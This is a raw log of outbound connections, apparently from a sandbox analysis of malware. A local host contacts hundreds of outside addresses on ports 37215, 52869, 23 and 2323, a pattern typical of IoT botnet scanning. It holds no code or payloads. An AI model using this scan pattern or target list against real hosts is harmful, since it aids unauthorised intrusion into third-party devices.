Dec 4, 2024 20:34:24.734725952 CET	60275	37215	192.168.2.14	156.132.124.144
Dec 4, 2024 20:34:24.734729052 CET	60275	37215	192.168.2.14	197.244.68.203
Dec 4, 2024 20:34:24.734731913 CET	60275	37215	192.168.2.14	156.54.222.34
Dec 4, 2024 20:34:24.734735012 CET	60275	37215	192.168.2.14	197.160.70.131
Dec 4, 2024 20:34:24.734736919 CET	60275	37215	192.168.2.14	41.218.162.142
Dec 4, 2024 20:34:24.734740973 CET	60275	37215	192.168.2.14	41.49.237.112
Dec 4, 2024 20:34:24.734744072 CET	60275	37215	192.168.2.14	197.250.119.153
Dec 4, 2024 20:34:24.734750032 CET	60275	37215	192.168.2.14	41.145.54.106
Dec 4, 2024 20:34:24.734754086 CET	60275	37215	192.168.2.14	41.243.247.221
Dec 4, 2024 20:34:24.734755993 CET	60275	37215	192.168.2.14	197.202.121.192
Dec 4, 2024 20:34:24.734756947 CET	60275	37215	192.168.2.14	197.222.226.163
Dec 4, 2024 20:34:24.734756947 CET	60275	37215	192.168.2.14	156.62.136.54
Dec 4, 2024 20:34:24.734756947 CET	60275	37215	192.168.2.14	41.13.136.229
Dec 4, 2024 20:34:24.734762907 CET	60275	37215	192.168.2.14	156.21.248.217
Dec 4, 2024 20:34:24.734777927 CET	60275	37215	192.168.2.14	197.235.141.127
Dec 4, 2024 20:34:24.734778881 CET	60275	37215	192.168.2.14	41.59.78.245
Dec 4, 2024 20:34:24.734780073 CET	60275	37215	192.168.2.14	197.225.155.207
Dec 4, 2024 20:34:24.734780073 CET	60275	37215	192.168.2.14	197.189.145.36
Dec 4, 2024 20:34:24.734782934 CET	60275	37215	192.168.2.14	156.239.166.151
Dec 4, 2024 20:34:24.734787941 CET	60275	37215	192.168.2.14	156.228.217.129
Dec 4, 2024 20:34:24.734812021 CET	60275	37215	192.168.2.14	41.113.32.188
Dec 4, 2024 20:34:24.734813929 CET	60275	37215	192.168.2.14	156.170.210.184
Dec 4, 2024 20:34:24.734818935 CET	60275	37215	192.168.2.14	197.97.46.192
Dec 4, 2024 20:34:24.734818935 CET	60275	37215	192.168.2.14	197.99.148.16
Dec 4, 2024 20:34:24.734822035 CET	60275	37215	192.168.2.14	197.147.54.50
Dec 4, 2024 20:34:24.734843969 CET	60275	37215	192.168.2.14	156.240.49.141
Dec 4, 2024 20:34:24.734843969 CET	60275	37215	192.168.2.14	156.7.101.101
Dec 4, 2024 20:34:24.734843969 CET	60275	37215	192.168.2.14	41.14.189.85
Dec 4, 2024 20:34:24.734843969 CET	60275	37215	192.168.2.14	197.195.96.132
Dec 4, 2024 20:34:24.734849930 CET	60275	37215	192.168.2.14	156.129.219.254
Dec 4, 2024 20:34:24.734848022 CET	60275	37215	192.168.2.14	197.150.92.25
Dec 4, 2024 20:34:24.734849930 CET	60275	37215	192.168.2.14	41.65.64.174
Dec 4, 2024 20:34:24.734848022 CET	60275	37215	192.168.2.14	41.61.159.242
Dec 4, 2024 20:34:24.734853983 CET	60275	37215	192.168.2.14	156.173.94.125
Dec 4, 2024 20:34:24.734853983 CET	60275	37215	192.168.2.14	156.45.37.87
Dec 4, 2024 20:34:24.734853983 CET	60275	37215	192.168.2.14	156.199.126.126
Dec 4, 2024 20:34:24.734855890 CET	60275	37215	192.168.2.14	197.178.34.67
Dec 4, 2024 20:34:24.734886885 CET	60275	37215	192.168.2.14	197.115.228.84
Dec 4, 2024 20:34:24.734893084 CET	60275	37215	192.168.2.14	41.160.151.57
Dec 4, 2024 20:34:24.734894991 CET	60275	37215	192.168.2.14	41.46.235.19
Dec 4, 2024 20:34:24.734895945 CET	60275	37215	192.168.2.14	156.224.13.162
Dec 4, 2024 20:34:24.734903097 CET	60275	37215	192.168.2.14	41.153.69.17
Dec 4, 2024 20:34:24.734903097 CET	60275	37215	192.168.2.14	197.47.95.150
Dec 4, 2024 20:34:24.734909058 CET	60275	37215	192.168.2.14	156.59.143.58
Dec 4, 2024 20:34:24.734920979 CET	60275	37215	192.168.2.14	156.202.172.235
Dec 4, 2024 20:34:24.734927893 CET	60275	37215	192.168.2.14	41.12.2.120
Dec 4, 2024 20:34:24.734927893 CET	60275	37215	192.168.2.14	197.117.66.202
Dec 4, 2024 20:34:24.734927893 CET	60275	37215	192.168.2.14	197.168.146.216
Dec 4, 2024 20:34:24.734957933 CET	60275	37215	192.168.2.14	197.227.255.161
Dec 4, 2024 20:34:24.734957933 CET	60275	37215	192.168.2.14	41.103.173.224
Dec 4, 2024 20:34:24.734972000 CET	60275	37215	192.168.2.14	197.218.250.252
Dec 4, 2024 20:34:24.734983921 CET	60275	37215	192.168.2.14	156.116.4.147
Dec 4, 2024 20:34:24.734985113 CET	60275	37215	192.168.2.14	156.6.110.20
Dec 4, 2024 20:34:24.734992027 CET	60275	37215	192.168.2.14	41.105.199.90
Dec 4, 2024 20:34:24.735016108 CET	60275	37215	192.168.2.14	41.155.18.123
Dec 4, 2024 20:34:24.735023975 CET	60275	37215	192.168.2.14	156.171.148.67
Dec 4, 2024 20:34:24.735027075 CET	60275	37215	192.168.2.14	41.247.204.8
Dec 4, 2024 20:34:24.735027075 CET	60275	37215	192.168.2.14	156.174.126.130
Dec 4, 2024 20:34:24.735042095 CET	60275	37215	192.168.2.14	41.84.177.104
Dec 4, 2024 20:34:24.735045910 CET	60275	37215	192.168.2.14	156.48.57.106
Dec 4, 2024 20:34:24.735049009 CET	60275	37215	192.168.2.14	41.66.160.209
Dec 4, 2024 20:34:24.735050917 CET	60275	37215	192.168.2.14	156.28.242.205
Dec 4, 2024 20:34:24.735058069 CET	60275	37215	192.168.2.14	197.90.139.40
Dec 4, 2024 20:34:24.735059977 CET	60275	37215	192.168.2.14	156.220.179.226
Dec 4, 2024 20:34:24.735064983 CET	60275	37215	192.168.2.14	197.218.184.224
Dec 4, 2024 20:34:24.735075951 CET	60275	37215	192.168.2.14	156.52.44.221
Dec 4, 2024 20:34:24.735076904 CET	60275	37215	192.168.2.14	197.81.195.223
Dec 4, 2024 20:34:24.735081911 CET	60275	37215	192.168.2.14	156.222.222.162
Dec 4, 2024 20:34:24.735097885 CET	60275	37215	192.168.2.14	197.13.176.16
Dec 4, 2024 20:34:24.735099077 CET	60275	37215	192.168.2.14	156.111.41.53
Dec 4, 2024 20:34:24.735099077 CET	60275	37215	192.168.2.14	41.236.190.173
Dec 4, 2024 20:34:24.735099077 CET	60275	37215	192.168.2.14	41.240.184.136
Dec 4, 2024 20:34:24.735100985 CET	60275	37215	192.168.2.14	41.50.250.171
Dec 4, 2024 20:34:24.735101938 CET	60275	37215	192.168.2.14	156.52.151.6
Dec 4, 2024 20:34:24.735105991 CET	60275	37215	192.168.2.14	156.240.193.185
Dec 4, 2024 20:34:24.735111952 CET	60275	37215	192.168.2.14	41.154.251.104
Dec 4, 2024 20:34:24.735130072 CET	60275	37215	192.168.2.14	156.99.125.25
Dec 4, 2024 20:34:24.735130072 CET	60275	37215	192.168.2.14	41.50.243.152
Dec 4, 2024 20:34:24.735136032 CET	60275	37215	192.168.2.14	197.223.25.131
Dec 4, 2024 20:34:24.735136032 CET	60275	37215	192.168.2.14	41.193.147.3
Dec 4, 2024 20:34:24.735140085 CET	60275	37215	192.168.2.14	41.68.214.235
Dec 4, 2024 20:34:24.735140085 CET	60275	37215	192.168.2.14	156.199.34.71
Dec 4, 2024 20:34:24.735141039 CET	60275	37215	192.168.2.14	197.161.52.83
Dec 4, 2024 20:34:24.735142946 CET	60275	37215	192.168.2.14	41.37.148.58
Dec 4, 2024 20:34:24.735145092 CET	60275	37215	192.168.2.14	197.253.152.21
Dec 4, 2024 20:34:24.735145092 CET	60275	37215	192.168.2.14	156.12.160.53
Dec 4, 2024 20:34:24.735145092 CET	60275	37215	192.168.2.14	197.216.242.127
Dec 4, 2024 20:34:24.735148907 CET	60275	37215	192.168.2.14	41.167.247.111
Dec 4, 2024 20:34:24.735148907 CET	60275	37215	192.168.2.14	197.187.154.219
Dec 4, 2024 20:34:24.735156059 CET	60275	37215	192.168.2.14	197.160.155.168
Dec 4, 2024 20:34:24.735156059 CET	60275	37215	192.168.2.14	41.45.92.114
Dec 4, 2024 20:34:24.735157013 CET	60275	37215	192.168.2.14	156.123.130.208
Dec 4, 2024 20:34:24.735161066 CET	60275	37215	192.168.2.14	197.185.168.250
Dec 4, 2024 20:34:24.735161066 CET	60275	37215	192.168.2.14	197.96.125.129
Dec 4, 2024 20:34:24.735161066 CET	60275	37215	192.168.2.14	156.94.32.15
Dec 4, 2024 20:34:24.735162020 CET	60275	37215	192.168.2.14	41.83.19.18
Dec 4, 2024 20:34:24.735176086 CET	60275	37215	192.168.2.14	41.38.152.204
Dec 4, 2024 20:34:24.735178947 CET	60275	37215	192.168.2.14	197.146.104.57
Dec 4, 2024 20:34:24.735187054 CET	60275	37215	192.168.2.14	197.118.117.49
Dec 4, 2024 20:34:24.735191107 CET	60275	37215	192.168.2.14	156.42.76.161
Dec 4, 2024 20:34:24.735192060 CET	60275	37215	192.168.2.14	41.221.49.86
Dec 4, 2024 20:34:24.735192060 CET	60275	37215	192.168.2.14	41.197.169.128
Dec 4, 2024 20:34:24.735193014 CET	60275	37215	192.168.2.14	156.48.0.6
Dec 4, 2024 20:34:24.738095045 CET	60019	52869	192.168.2.14	156.8.70.59
Dec 4, 2024 20:34:24.738112926 CET	60019	52869	192.168.2.14	41.45.164.59
Dec 4, 2024 20:34:24.738117933 CET	60019	52869	192.168.2.14	197.100.203.233
Dec 4, 2024 20:34:24.738126993 CET	60019	52869	192.168.2.14	197.17.98.59
Dec 4, 2024 20:34:24.738133907 CET	60019	52869	192.168.2.14	41.14.94.80
Dec 4, 2024 20:34:24.738133907 CET	60019	52869	192.168.2.14	41.249.205.217
Dec 4, 2024 20:34:24.738141060 CET	60019	52869	192.168.2.14	197.84.162.109
Dec 4, 2024 20:34:24.738141060 CET	60019	52869	192.168.2.14	197.167.69.48
Dec 4, 2024 20:34:24.738142014 CET	60019	52869	192.168.2.14	41.225.142.32
Dec 4, 2024 20:34:24.738142014 CET	60019	52869	192.168.2.14	197.242.61.235
Dec 4, 2024 20:34:24.738142967 CET	60019	52869	192.168.2.14	41.56.70.253
Dec 4, 2024 20:34:24.738154888 CET	60019	52869	192.168.2.14	197.81.171.85
Dec 4, 2024 20:34:24.738159895 CET	60019	52869	192.168.2.14	156.208.148.221
Dec 4, 2024 20:34:24.738166094 CET	60019	52869	192.168.2.14	156.41.144.108
Dec 4, 2024 20:34:24.738168001 CET	60019	52869	192.168.2.14	197.12.80.19
Dec 4, 2024 20:34:24.738168001 CET	60019	52869	192.168.2.14	41.222.40.85
Dec 4, 2024 20:34:24.738168001 CET	60019	52869	192.168.2.14	197.34.57.5
Dec 4, 2024 20:34:24.738168955 CET	60019	52869	192.168.2.14	197.244.34.203
Dec 4, 2024 20:34:24.738173008 CET	60019	52869	192.168.2.14	156.5.249.194
Dec 4, 2024 20:34:24.738174915 CET	60019	52869	192.168.2.14	197.224.118.56
Dec 4, 2024 20:34:24.738181114 CET	60019	52869	192.168.2.14	41.147.22.245
Dec 4, 2024 20:34:24.738195896 CET	60019	52869	192.168.2.14	156.251.33.16
Dec 4, 2024 20:34:24.738207102 CET	60019	52869	192.168.2.14	41.28.38.187
Dec 4, 2024 20:34:24.738208055 CET	60019	52869	192.168.2.14	197.49.3.174
Dec 4, 2024 20:34:24.738209009 CET	60019	52869	192.168.2.14	156.239.225.144
Dec 4, 2024 20:34:24.738217115 CET	60019	52869	192.168.2.14	41.145.72.210
Dec 4, 2024 20:34:24.738217115 CET	60019	52869	192.168.2.14	156.186.204.57
Dec 4, 2024 20:34:24.738217115 CET	60019	52869	192.168.2.14	41.77.255.149
Dec 4, 2024 20:34:24.738221884 CET	60019	52869	192.168.2.14	156.103.1.233
Dec 4, 2024 20:34:24.738224983 CET	60019	52869	192.168.2.14	156.157.84.39
Dec 4, 2024 20:34:24.738224983 CET	60019	52869	192.168.2.14	197.185.181.240
Dec 4, 2024 20:34:24.738228083 CET	60019	52869	192.168.2.14	41.216.109.25
Dec 4, 2024 20:34:24.738229990 CET	60019	52869	192.168.2.14	197.67.208.230
Dec 4, 2024 20:34:24.738233089 CET	60019	52869	192.168.2.14	156.129.59.113
Dec 4, 2024 20:34:24.738234043 CET	60019	52869	192.168.2.14	41.10.144.217
Dec 4, 2024 20:34:24.738234043 CET	60019	52869	192.168.2.14	156.151.9.8
Dec 4, 2024 20:34:24.738240957 CET	60019	52869	192.168.2.14	156.193.124.25
Dec 4, 2024 20:34:24.738244057 CET	60019	52869	192.168.2.14	156.52.104.180
Dec 4, 2024 20:34:24.738253117 CET	60019	52869	192.168.2.14	197.144.223.218
Dec 4, 2024 20:34:24.738260984 CET	60019	52869	192.168.2.14	197.197.108.71
Dec 4, 2024 20:34:24.738266945 CET	60019	52869	192.168.2.14	156.50.94.190
Dec 4, 2024 20:34:24.738269091 CET	60019	52869	192.168.2.14	41.74.170.175
Dec 4, 2024 20:34:24.738281965 CET	60019	52869	192.168.2.14	156.26.247.100
Dec 4, 2024 20:34:24.738286972 CET	60019	52869	192.168.2.14	41.176.223.72
Dec 4, 2024 20:34:24.738286972 CET	60019	52869	192.168.2.14	156.96.3.63
Dec 4, 2024 20:34:24.738286972 CET	60019	52869	192.168.2.14	156.97.76.206
Dec 4, 2024 20:34:24.738286972 CET	60019	52869	192.168.2.14	41.74.94.58
Dec 4, 2024 20:34:24.738287926 CET	60019	52869	192.168.2.14	156.97.144.18
Dec 4, 2024 20:34:24.738290071 CET	60019	52869	192.168.2.14	156.27.26.37
Dec 4, 2024 20:34:24.738301039 CET	60019	52869	192.168.2.14	41.113.120.135
Dec 4, 2024 20:34:24.738301992 CET	60019	52869	192.168.2.14	41.204.105.141
Dec 4, 2024 20:34:24.738303900 CET	60019	52869	192.168.2.14	41.79.6.226
Dec 4, 2024 20:34:24.738303900 CET	60019	52869	192.168.2.14	41.237.11.232
Dec 4, 2024 20:34:24.738303900 CET	60019	52869	192.168.2.14	41.163.177.16
Dec 4, 2024 20:34:24.738315105 CET	60019	52869	192.168.2.14	41.21.41.116
Dec 4, 2024 20:34:24.738317013 CET	60019	52869	192.168.2.14	197.169.31.178
Dec 4, 2024 20:34:24.738325119 CET	60019	52869	192.168.2.14	197.155.84.166
Dec 4, 2024 20:34:24.738327026 CET	60019	52869	192.168.2.14	156.222.152.148
Dec 4, 2024 20:34:24.738327026 CET	60019	52869	192.168.2.14	41.32.234.153
Dec 4, 2024 20:34:24.738332033 CET	60019	52869	192.168.2.14	156.100.188.199
Dec 4, 2024 20:34:24.738344908 CET	60019	52869	192.168.2.14	197.46.4.32
Dec 4, 2024 20:34:24.738347054 CET	60019	52869	192.168.2.14	197.82.92.161
Dec 4, 2024 20:34:24.738348961 CET	60019	52869	192.168.2.14	41.39.129.65
Dec 4, 2024 20:34:24.738351107 CET	60019	52869	192.168.2.14	197.77.192.94
Dec 4, 2024 20:34:24.738358974 CET	60019	52869	192.168.2.14	41.128.45.189
Dec 4, 2024 20:34:24.738461971 CET	60019	52869	192.168.2.14	41.199.125.37
Dec 4, 2024 20:34:24.738462925 CET	60019	52869	192.168.2.14	41.108.221.206
Dec 4, 2024 20:34:24.738467932 CET	60019	52869	192.168.2.14	197.231.129.21
Dec 4, 2024 20:34:24.738471031 CET	60019	52869	192.168.2.14	156.251.61.241
Dec 4, 2024 20:34:24.738476992 CET	60019	52869	192.168.2.14	41.137.95.88
Dec 4, 2024 20:34:24.738492966 CET	60019	52869	192.168.2.14	156.224.96.110
Dec 4, 2024 20:34:24.738495111 CET	60019	52869	192.168.2.14	197.244.109.129
Dec 4, 2024 20:34:24.738497019 CET	60019	52869	192.168.2.14	197.236.23.102
Dec 4, 2024 20:34:24.738538027 CET	60019	52869	192.168.2.14	156.50.203.12
Dec 4, 2024 20:34:24.738538027 CET	60019	52869	192.168.2.14	156.167.31.214
Dec 4, 2024 20:34:24.738539934 CET	60019	52869	192.168.2.14	156.44.167.108
Dec 4, 2024 20:34:24.738539934 CET	60019	52869	192.168.2.14	197.20.43.55
Dec 4, 2024 20:34:24.738540888 CET	60019	52869	192.168.2.14	41.75.5.154
Dec 4, 2024 20:34:24.738540888 CET	60019	52869	192.168.2.14	156.2.24.80
Dec 4, 2024 20:34:24.738540888 CET	60019	52869	192.168.2.14	197.18.82.129
Dec 4, 2024 20:34:24.738550901 CET	60019	52869	192.168.2.14	197.106.245.35
Dec 4, 2024 20:34:24.738550901 CET	60019	52869	192.168.2.14	41.250.231.178
Dec 4, 2024 20:34:24.738552094 CET	60019	52869	192.168.2.14	156.70.109.24
Dec 4, 2024 20:34:24.738553047 CET	60019	52869	192.168.2.14	156.35.184.16
Dec 4, 2024 20:34:24.738553047 CET	60019	52869	192.168.2.14	197.58.230.134
Dec 4, 2024 20:34:24.738553047 CET	60019	52869	192.168.2.14	41.31.63.226
Dec 4, 2024 20:34:24.738557100 CET	60019	52869	192.168.2.14	156.91.137.82
Dec 4, 2024 20:34:24.738557100 CET	60019	52869	192.168.2.14	197.132.36.153
Dec 4, 2024 20:34:24.738563061 CET	60019	52869	192.168.2.14	41.222.2.218
Dec 4, 2024 20:34:24.738564014 CET	60019	52869	192.168.2.14	197.67.198.91
Dec 4, 2024 20:34:24.738563061 CET	60019	52869	192.168.2.14	41.22.252.57
Dec 4, 2024 20:34:24.738564014 CET	60019	52869	192.168.2.14	156.101.231.36
Dec 4, 2024 20:34:24.738563061 CET	60019	52869	192.168.2.14	156.133.73.245
Dec 4, 2024 20:34:24.738569975 CET	60019	52869	192.168.2.14	156.169.210.141
Dec 4, 2024 20:34:24.738574028 CET	60019	52869	192.168.2.14	197.75.183.158
Dec 4, 2024 20:34:24.738574982 CET	60019	52869	192.168.2.14	156.110.69.141
Dec 4, 2024 20:34:24.738574982 CET	60019	52869	192.168.2.14	197.204.224.192
Dec 4, 2024 20:34:24.738578081 CET	60019	52869	192.168.2.14	197.226.61.3
Dec 4, 2024 20:34:24.738578081 CET	60019	52869	192.168.2.14	41.88.95.100
Dec 4, 2024 20:34:24.738578081 CET	60019	52869	192.168.2.14	197.95.40.244
Dec 4, 2024 20:34:24.738578081 CET	60019	52869	192.168.2.14	156.98.25.68
Dec 4, 2024 20:34:24.738585949 CET	60019	52869	192.168.2.14	41.53.225.246
Dec 4, 2024 20:34:24.738585949 CET	60019	52869	192.168.2.14	197.77.83.228
Dec 4, 2024 20:34:24.738585949 CET	60019	52869	192.168.2.14	156.228.198.11
Dec 4, 2024 20:34:24.738585949 CET	60019	52869	192.168.2.14	41.144.27.200
Dec 4, 2024 20:34:24.738585949 CET	60019	52869	192.168.2.14	41.230.95.244
Dec 4, 2024 20:34:24.738595963 CET	60019	52869	192.168.2.14	197.67.191.174
Dec 4, 2024 20:34:24.738599062 CET	60019	52869	192.168.2.14	156.198.127.12
Dec 4, 2024 20:34:24.738614082 CET	60019	52869	192.168.2.14	41.143.210.44
Dec 4, 2024 20:34:24.738614082 CET	60019	52869	192.168.2.14	197.22.176.212
Dec 4, 2024 20:34:24.738616943 CET	60019	52869	192.168.2.14	41.179.188.20
Dec 4, 2024 20:34:24.738621950 CET	60019	52869	192.168.2.14	41.145.115.97
Dec 4, 2024 20:34:24.738631964 CET	60019	52869	192.168.2.14	41.39.238.174
Dec 4, 2024 20:34:24.738632917 CET	60019	52869	192.168.2.14	156.195.171.16
Dec 4, 2024 20:34:24.738645077 CET	60019	52869	192.168.2.14	156.238.85.110
Dec 4, 2024 20:34:24.738651991 CET	60019	52869	192.168.2.14	197.200.20.209
Dec 4, 2024 20:34:24.738653898 CET	60019	52869	192.168.2.14	156.42.183.141
Dec 4, 2024 20:34:24.738653898 CET	60019	52869	192.168.2.14	156.241.58.16
Dec 4, 2024 20:34:24.738655090 CET	60019	52869	192.168.2.14	197.205.148.228
Dec 4, 2024 20:34:24.738655090 CET	60019	52869	192.168.2.14	156.44.165.133
Dec 4, 2024 20:34:24.738666058 CET	60019	52869	192.168.2.14	41.169.170.32
Dec 4, 2024 20:34:24.738672018 CET	60019	52869	192.168.2.14	156.93.147.57
Dec 4, 2024 20:34:24.738677025 CET	60019	52869	192.168.2.14	41.98.249.24
Dec 4, 2024 20:34:24.738677025 CET	60019	52869	192.168.2.14	41.197.211.16
Dec 4, 2024 20:34:24.738677025 CET	60019	52869	192.168.2.14	156.39.211.141
Dec 4, 2024 20:34:24.738694906 CET	60019	52869	192.168.2.14	41.47.142.217
Dec 4, 2024 20:34:24.738694906 CET	60019	52869	192.168.2.14	156.39.77.64
Dec 4, 2024 20:34:24.738696098 CET	60019	52869	192.168.2.14	197.24.59.128
Dec 4, 2024 20:34:24.738697052 CET	60019	52869	192.168.2.14	156.110.42.117
Dec 4, 2024 20:34:24.738697052 CET	60019	52869	192.168.2.14	197.34.186.210
Dec 4, 2024 20:34:24.738697052 CET	60019	52869	192.168.2.14	41.121.193.74
Dec 4, 2024 20:34:24.738699913 CET	60019	52869	192.168.2.14	197.214.232.179
Dec 4, 2024 20:34:24.738697052 CET	60019	52869	192.168.2.14	41.19.137.203
Dec 4, 2024 20:34:24.738701105 CET	60019	52869	192.168.2.14	41.216.108.201
Dec 4, 2024 20:34:24.738699913 CET	60019	52869	192.168.2.14	197.21.28.40
Dec 4, 2024 20:34:24.738697052 CET	60019	52869	192.168.2.14	41.71.199.38
Dec 4, 2024 20:34:24.738701105 CET	60019	52869	192.168.2.14	156.242.83.176
Dec 4, 2024 20:34:24.738698006 CET	60019	52869	192.168.2.14	41.212.167.195
Dec 4, 2024 20:34:24.738697052 CET	60019	52869	192.168.2.14	197.187.86.147
Dec 4, 2024 20:34:24.738698006 CET	60019	52869	192.168.2.14	41.178.157.213
Dec 4, 2024 20:34:24.738697052 CET	60019	52869	192.168.2.14	156.210.18.108
Dec 4, 2024 20:34:24.738708019 CET	60019	52869	192.168.2.14	197.54.45.35
Dec 4, 2024 20:34:24.738701105 CET	60019	52869	192.168.2.14	41.17.197.193
Dec 4, 2024 20:34:24.738707066 CET	60019	52869	192.168.2.14	41.253.238.10
Dec 4, 2024 20:34:24.738698959 CET	60019	52869	192.168.2.14	156.45.241.47
Dec 4, 2024 20:34:24.738701105 CET	60019	52869	192.168.2.14	156.122.146.138
Dec 4, 2024 20:34:24.738698959 CET	60019	52869	192.168.2.14	156.26.239.52
Dec 4, 2024 20:34:24.738701105 CET	60019	52869	192.168.2.14	197.1.175.86
Dec 4, 2024 20:34:24.738698006 CET	60019	52869	192.168.2.14	197.65.233.196
Dec 4, 2024 20:34:24.738699913 CET	60019	52869	192.168.2.14	197.31.178.23
Dec 4, 2024 20:34:24.738698006 CET	60019	52869	192.168.2.14	41.36.41.250
Dec 4, 2024 20:34:24.738698006 CET	60019	52869	192.168.2.14	156.207.151.158
Dec 4, 2024 20:34:24.738719940 CET	60019	52869	192.168.2.14	156.205.167.63
Dec 4, 2024 20:34:24.738719940 CET	60019	52869	192.168.2.14	197.21.83.188
Dec 4, 2024 20:34:24.738719940 CET	60019	52869	192.168.2.14	41.206.89.9
Dec 4, 2024 20:34:24.738719940 CET	60019	52869	192.168.2.14	41.126.57.46
Dec 4, 2024 20:34:24.738739014 CET	60019	52869	192.168.2.14	41.128.202.213
Dec 4, 2024 20:34:24.738739014 CET	60019	52869	192.168.2.14	197.137.64.88
Dec 4, 2024 20:34:24.738753080 CET	60019	52869	192.168.2.14	197.53.69.3
Dec 4, 2024 20:34:24.738770008 CET	60019	52869	192.168.2.14	156.66.255.73
Dec 4, 2024 20:34:24.741415024 CET	60787	2323	192.168.2.14	27.48.70.59
Dec 4, 2024 20:34:24.741420031 CET	60787	23	192.168.2.14	147.21.164.59
Dec 4, 2024 20:34:24.741421938 CET	60787	23	192.168.2.14	62.93.11.232
Dec 4, 2024 20:34:24.741435051 CET	60787	23	192.168.2.14	80.222.173.58
Dec 4, 2024 20:34:24.741441011 CET	60787	23	192.168.2.14	189.246.159.81
Dec 4, 2024 20:34:24.741446018 CET	60787	23	192.168.2.14	9.224.253.230
Dec 4, 2024 20:34:24.741446972 CET	60787	23	192.168.2.14	47.63.2.214
Dec 4, 2024 20:34:24.741452932 CET	60787	23	192.168.2.14	89.17.112.234
Dec 4, 2024 20:34:24.741457939 CET	60787	23	192.168.2.14	106.53.150.101
Dec 4, 2024 20:34:24.741465092 CET	60787	23	192.168.2.14	18.127.70.71
Dec 4, 2024 20:34:24.741472960 CET	60787	2323	192.168.2.14	75.110.88.115
Dec 4, 2024 20:34:24.741483927 CET	60787	23	192.168.2.14	173.61.69.182
Dec 4, 2024 20:34:24.741487026 CET	60787	23	192.168.2.14	167.46.135.41
Dec 4, 2024 20:34:24.741491079 CET	60787	23	192.168.2.14	138.4.58.32
Dec 4, 2024 20:34:24.741493940 CET	60787	23	192.168.2.14	39.21.186.64
Dec 4, 2024 20:34:24.741502047 CET	60787	23	192.168.2.14	9.74.253.96
Dec 4, 2024 20:34:24.741503954 CET	60787	23	192.168.2.14	111.241.109.103
Dec 4, 2024 20:34:24.741508961 CET	60787	23	192.168.2.14	43.15.36.100
Dec 4, 2024 20:34:24.741517067 CET	60787	23	192.168.2.14	151.60.84.5
Dec 4, 2024 20:34:24.741525888 CET	60787	2323	192.168.2.14	150.219.202.136
Dec 4, 2024 20:34:24.741527081 CET	60787	23	192.168.2.14	5.197.195.160
Dec 4, 2024 20:34:24.741525888 CET	60787	23	192.168.2.14	47.160.219.141
Dec 4, 2024 20:34:24.741535902 CET	60787	23	192.168.2.14	13.19.86.94
Dec 4, 2024 20:34:24.741528988 CET	60787	23	192.168.2.14	111.0.232.198
Dec 4, 2024 20:34:24.741547108 CET	60787	23	192.168.2.14	35.136.183.126
Dec 4, 2024 20:34:24.741549015 CET	60787	23	192.168.2.14	97.239.180.221
Dec 4, 2024 20:34:24.741549969 CET	60787	23	192.168.2.14	193.128.185.202
Dec 4, 2024 20:34:24.741553068 CET	60787	23	192.168.2.14	219.116.250.152
Dec 4, 2024 20:34:24.741553068 CET	60787	23	192.168.2.14	141.186.211.229
Dec 4, 2024 20:34:24.741555929 CET	60787	2323	192.168.2.14	65.66.210.17
Dec 4, 2024 20:34:24.741556883 CET	60787	23	192.168.2.14	109.74.82.42
Dec 4, 2024 20:34:24.741558075 CET	60787	23	192.168.2.14	94.81.196.116
Dec 4, 2024 20:34:24.741566896 CET	60787	23	192.168.2.14	93.99.191.5
Dec 4, 2024 20:34:24.741569042 CET	60787	23	192.168.2.14	9.52.224.131
Dec 4, 2024 20:34:24.741578102 CET	60787	23	192.168.2.14	205.151.234.28
Dec 4, 2024 20:34:24.741578102 CET	60787	23	192.168.2.14	72.34.33.170
Dec 4, 2024 20:34:24.741579056 CET	60787	23	192.168.2.14	4.210.201.141
Dec 4, 2024 20:34:24.741584063 CET	60787	23	192.168.2.14	69.155.156.57
Dec 4, 2024 20:34:24.741591930 CET	60787	23	192.168.2.14	42.254.36.95
Dec 4, 2024 20:34:24.741591930 CET	60787	23	192.168.2.14	156.122.20.134
Dec 4, 2024 20:34:24.741604090 CET	60787	2323	192.168.2.14	146.70.29.219
Dec 4, 2024 20:34:24.741607904 CET	60787	23	192.168.2.14	98.68.253.151
Dec 4, 2024 20:34:24.741616011 CET	60787	23	192.168.2.14	44.27.45.157
Dec 4, 2024 20:34:24.741619110 CET	60787	23	192.168.2.14	101.141.119.19
Dec 4, 2024 20:34:24.741627932 CET	60787	23	192.168.2.14	191.169.160.194
Dec 4, 2024 20:34:24.741631031 CET	60787	23	192.168.2.14	202.167.173.252
Dec 4, 2024 20:34:24.741635084 CET	60787	23	192.168.2.14	200.56.113.148
Dec 4, 2024 20:34:24.741642952 CET	60787	23	192.168.2.14	41.226.196.109
Dec 4, 2024 20:34:24.741650105 CET	60787	23	192.168.2.14	40.102.149.125
Dec 4, 2024 20:34:24.741651058 CET	60787	23	192.168.2.14	167.43.96.239
Dec 4, 2024 20:34:24.741661072 CET	60787	2323	192.168.2.14	53.119.108.81
Dec 4, 2024 20:34:24.741669893 CET	60787	23	192.168.2.14	160.22.115.24
Dec 4, 2024 20:34:24.741677999 CET	60787	23	192.168.2.14	31.59.240.194
Dec 4, 2024 20:34:24.741687059 CET	60787	23	192.168.2.14	198.181.1.123
Dec 4, 2024 20:34:24.741694927 CET	60787	23	192.168.2.14	35.98.255.146
Dec 4, 2024 20:34:24.741700888 CET	60787	23	192.168.2.14	37.42.218.190
Dec 4, 2024 20:34:24.741703987 CET	60787	23	192.168.2.14	158.95.99.26
Dec 4, 2024 20:34:24.741719961 CET	60787	23	192.168.2.14	164.247.38.43
Dec 4, 2024 20:34:24.741720915 CET	60787	23	192.168.2.14	126.169.120.92
Dec 4, 2024 20:34:24.741724014 CET	60787	23	192.168.2.14	177.51.74.9
Dec 4, 2024 20:34:24.741729975 CET	60787	2323	192.168.2.14	48.195.150.165
Dec 4, 2024 20:34:24.741736889 CET	60787	23	192.168.2.14	166.107.159.75
Dec 4, 2024 20:34:24.741739035 CET	60787	23	192.168.2.14	157.84.20.131
Dec 4, 2024 20:34:24.741753101 CET	60787	23	192.168.2.14	155.144.101.10
Dec 4, 2024 20:34:24.741759062 CET	60787	23	192.168.2.14	103.100.99.46
Dec 4, 2024 20:34:24.741761923 CET	60787	23	192.168.2.14	211.215.183.159
Dec 4, 2024 20:34:24.741765976 CET	60787	23	192.168.2.14	189.109.212.38
Dec 4, 2024 20:34:24.741766930 CET	60787	23	192.168.2.14	2.35.55.86
Dec 4, 2024 20:34:24.741766930 CET	60787	23	192.168.2.14	47.193.45.203
Dec 4, 2024 20:34:24.741777897 CET	60787	23	192.168.2.14	169.233.207.208
Dec 4, 2024 20:34:24.741786957 CET	60787	2323	192.168.2.14	152.135.56.180
